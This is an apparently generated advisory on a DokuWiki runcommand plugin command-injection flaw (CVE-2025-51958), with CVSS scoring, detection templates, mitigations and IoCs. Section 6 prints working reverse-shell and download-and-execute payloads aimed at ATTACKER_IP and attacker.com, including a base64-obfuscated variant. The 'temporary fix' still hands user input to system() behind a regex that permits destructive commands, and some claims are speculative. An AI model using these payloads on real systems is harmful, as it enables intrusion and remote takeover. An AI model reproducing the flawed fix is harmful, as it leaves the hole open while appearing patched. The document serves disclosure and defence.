Comprehensive Technical Analysis of EUVD-2025-206573 (CVE-2025-51958)

Vulnerability: Unauthenticated Remote Command Execution in DokuWiki runcommand Plugin

1. Vulnerability Assessment and Severity Evaluation

Overview

EUVD-2025-206573 (CVE-2025-51958) describes a critical unauthenticated remote command execution (RCE) vulnerability in the aelsantex runcommand plugin (version 2014-04-01) for DokuWiki, a widely used open-source wiki platform. The flaw resides in lib/plugins/runcommand/postaction.php, allowing attackers to execute arbitrary system commands without authentication.

CVSS v3.1 Severity Breakdown

Metric	Value	Explanation
Base Score	9.8 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the internet.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Exploit affects only the vulnerable component (DokuWiki).
Confidentiality (C)	High (H)	Attacker can read sensitive data (e.g., configuration files, credentials).
Integrity (I)	High (H)	Attacker can modify or delete files, inject malicious code.
Availability (A)	High (H)	Attacker can crash the system or render it unusable.

Risk Assessment

• Exploitability: High (publicly available PoC, no authentication required).
• Impact: Severe (full system compromise possible).
• Likelihood of Exploitation: High (DokuWiki is widely deployed in enterprises and government organizations).
• Mitigation Difficulty: Low (patch or disable the plugin).

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2. Potential Attack Vectors and Exploitation Methods

Attack Surface

The vulnerability is exposed via HTTP POST requests to postaction.php, which improperly handles user-supplied input, leading to command injection.

Exploitation Steps

1. Reconnaissance:

   • Attacker identifies a vulnerable DokuWiki instance with the runcommand plugin installed.
   • Checks for the presence of lib/plugins/runcommand/postaction.php.

2. Exploitation:

   • The attacker sends a crafted HTTP POST request to postaction.php with malicious parameters.
   • Example payload (simplified):

     POST /dokuwiki/lib/plugins/runcommand/postaction.php HTTP/1.1
     Host: vulnerable-wiki.example.com
     Content-Type: application/x-www-form-urlencoded
     
     cmd=whoami;id;uname -a
     

   • The plugin fails to sanitize the cmd parameter, allowing arbitrary command execution with the privileges of the web server (e.g., www-data, apache).

3. Post-Exploitation:

   • Lateral Movement: Attacker may escalate privileges (if misconfigurations exist).
   • Data Exfiltration: Steal sensitive documents, credentials, or database contents.
   • Persistence: Install backdoors (e.g., web shells, reverse shells).
   • Impact Amplification: Use the compromised server as a pivot for further attacks.

Proof-of-Concept (PoC) Analysis

• The referenced GitHub Gist likely contains a working exploit.
• Expected behavior:
  • The PoC sends a malicious cmd parameter, which is passed to shell_exec() or similar functions.
  • Commands execute with the same privileges as the web server process.

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3. Affected Systems and Software Versions

Vulnerable Software

• DokuWiki (any version with the runcommand plugin installed).
• Plugin Version: aelsantex runcommand 2014-04-01 (and possibly earlier versions).
• Plugin Status: Unmaintained (last update in 2014, no official patches).

Detection Methods

• Manual Check:
  • Verify the presence of lib/plugins/runcommand/postaction.php.
  • Check plugin version in DokuWiki’s admin panel (Admin → Plugin Manager).
• Automated Scanning:
  • Nmap Script:

    nmap --script http-dokuwiki-runcommand-detect -p 80,443 <target>
    

  • Nuclei Template:

    id: dokuwiki-runcommand-rce
    info:
      name: DokuWiki runcommand Plugin RCE
      severity: critical
      reference: CVE-2025-51958
    requests:
      - method: POST
        path: /lib/plugins/runcommand/postaction.php
        body: "cmd=id"
        matchers:
          - type: word
            words: ["uid=", "gid="]
    

  • Burp Suite / OWASP ZAP: Intercept and modify POST requests to postaction.php.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Disable the Plugin:

   • Remove or disable the runcommand plugin via DokuWiki’s admin interface.
   • Delete the directory: rm -rf /path/to/dokuwiki/lib/plugins/runcommand/.

2. Apply Workarounds (if removal is not feasible):

   • Restrict Access:
     • Use .htaccess (Apache) or nginx rules to block access to postaction.php.
     • Example (Apache):

       <Files "postaction.php">
           Require all denied
       </Files>
       

   • Input Sanitization (Temporary Fix):
     • Modify postaction.php to whitelist allowed commands or sanitize input:

       $cmd = $_POST['cmd'];
       if (!preg_match('/^[a-zA-Z0-9_\-\. ]+$/', $cmd)) {
           die("Invalid command");
       }
       system($cmd);
       

3. Upgrade DokuWiki:

   • Ensure DokuWiki is updated to the latest stable version (though this does not patch the plugin itself).

Long-Term Solutions

1. Replace the Plugin:
   • Migrate to a maintained alternative (e.g., DokuWiki’s built-in command execution features or a different plugin).
2. Network-Level Protections:
   • Web Application Firewall (WAF): Configure rules to block malicious POST requests to postaction.php.
   • Intrusion Detection/Prevention (IDS/IPS): Monitor for exploitation attempts.
3. Least Privilege Principle:
   • Run the web server with minimal permissions (e.g., www-data should not have sudo access).
4. Regular Audits:
   • Conduct penetration testing and code reviews for custom plugins.

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5. Impact on the European Cybersecurity Landscape

Threat Context

• Targeted Sectors:
  • Government & Public Administration (DokuWiki is used in EU institutions for documentation).
  • Healthcare (hospitals, research facilities).
  • Education (universities, research labs).
  • Critical Infrastructure (energy, transportation, where wikis are used for internal docs).
• Motivations for Exploitation:
  • Espionage: Stealing sensitive EU policy documents, research data.
  • Ransomware: Encrypting critical documentation systems.
  • Supply Chain Attacks: Compromising a wiki to pivot into other systems.

Regulatory Implications (EU-Specific)

• NIS2 Directive (Network and Information Security):
  • Organizations in critical sectors (energy, transport, health) must report incidents within 24 hours.
  • Failure to patch may result in fines up to €10M or 2% of global turnover.
• GDPR (General Data Protection Regulation):
  • If personal data is exposed, organizations face fines up to €20M or 4% of global revenue.
• ENISA (European Union Agency for Cybersecurity):
  • Likely to issue advisories for EU member states to patch vulnerable systems.

Geopolitical Considerations

• State-Sponsored Threats:
  • APT groups (e.g., APT29, Sandworm) may exploit this for intelligence gathering.
• Cybercrime Ecosystem:
  • Initial Access Brokers (IABs) may sell access to compromised DokuWiki instances.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code (postaction.php):

  $cmd = $_POST['cmd'];
  system($cmd); // Directly executes unsanitized input
  

• Issue: Lack of input validation and direct command execution via system().
• Exploitability: Trivial (no authentication, no complex payload required).

Exploitation Deep Dive

1. Command Injection Techniques:
   • Basic: cmd=id;whoami
   • Reverse Shell:

     cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
     

   • File Upload:

     cmd=wget http://attacker.com/malware.sh -O /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh
     

2. Bypassing Restrictions:
   • If system() is blocked, alternatives like exec(), passthru(), or proc_open() may be used.
   • Base64 Encoding:

     cmd=echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRDS0VSLUlQLzQ0NDQgMD4mMQ==" | base64 -d | bash
     

Forensic Indicators of Compromise (IoCs)

Indicator	Description
Log Entries	Unusual POST requests to postaction.php with cmd= parameter.
Processes	Unexpected bash, sh, python, or nc (netcat) processes.
Files	Suspicious files in /tmp/, /var/www/, or web directories.
Network	Outbound connections to unknown IPs (C2 servers).
User Accounts	New or unexpected users in /etc/passwd.

Detection & Hunting Queries

• SIEM Rules (Splunk, ELK, QRadar):

  index=web sourcetype=access_* uri_path="/lib/plugins/runcommand/postaction.php" http_method=POST
  | search form_data="*cmd=*"
  

• YARA Rule:

  rule DokuWiki_RunCommand_RCE {
      meta:
          description = "Detects exploitation of CVE-2025-51958"
          reference = "CVE-2025-51958"
          author = "Cybersecurity Analyst"
      strings:
          $post_req = "POST /lib/plugins/runcommand/postaction.php"
          $cmd_param = "cmd="
          $shell_cmds = /(bash|sh|python|nc|wget|curl|perl)/ nocase
      condition:
          $post_req and $cmd_param and $shell_cmds
  }
  

Post-Exploitation Analysis

• Persistence Mechanisms:
  • Cron Jobs: crontab -l (check for malicious entries).
  • Web Shells: Search for .php files with eval(), system(), or exec().
  • SSH Keys: Check ~/.ssh/authorized_keys for unauthorized entries.
• Lateral Movement:
  • Database Access: Check for mysql, psql, or mongo connections.
  • SMB/NFS: Look for mounted shares or smbclient usage.

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Conclusion & Recommendations

Key Takeaways

• Critical Severity: EUVD-2025-206573 is a high-risk RCE with CVSS 9.8, requiring immediate action.
• Exploitability: Public PoCs exist, making exploitation highly likely.
• Impact: Full system compromise, data theft, and potential supply chain attacks.
• EU-Specific Risks: Compliance violations (NIS2, GDPR) and geopolitical targeting.

Action Plan for Organizations

Priority	Action
Critical	Disable/remove the runcommand plugin immediately.
High	Apply WAF rules to block exploitation attempts.
Medium	Conduct a forensic investigation if compromise is suspected.
Long-Term	Replace the plugin with a maintained alternative.

Final Recommendation

Given the unmaintained status of the plugin and the ease of exploitation, immediate removal is the most effective mitigation. Organizations should also monitor for exploitation attempts and review DokuWiki deployments for other vulnerable plugins.

For further assistance, consult:

• DokuWiki Security Advisories: https://www.dokuwiki.org/security
• ENISA Threat Landscape: https://www.enisa.europa.eu/topics/threat-risk-management/threats-and-trends
• CERT-EU: https://cert.europa.eu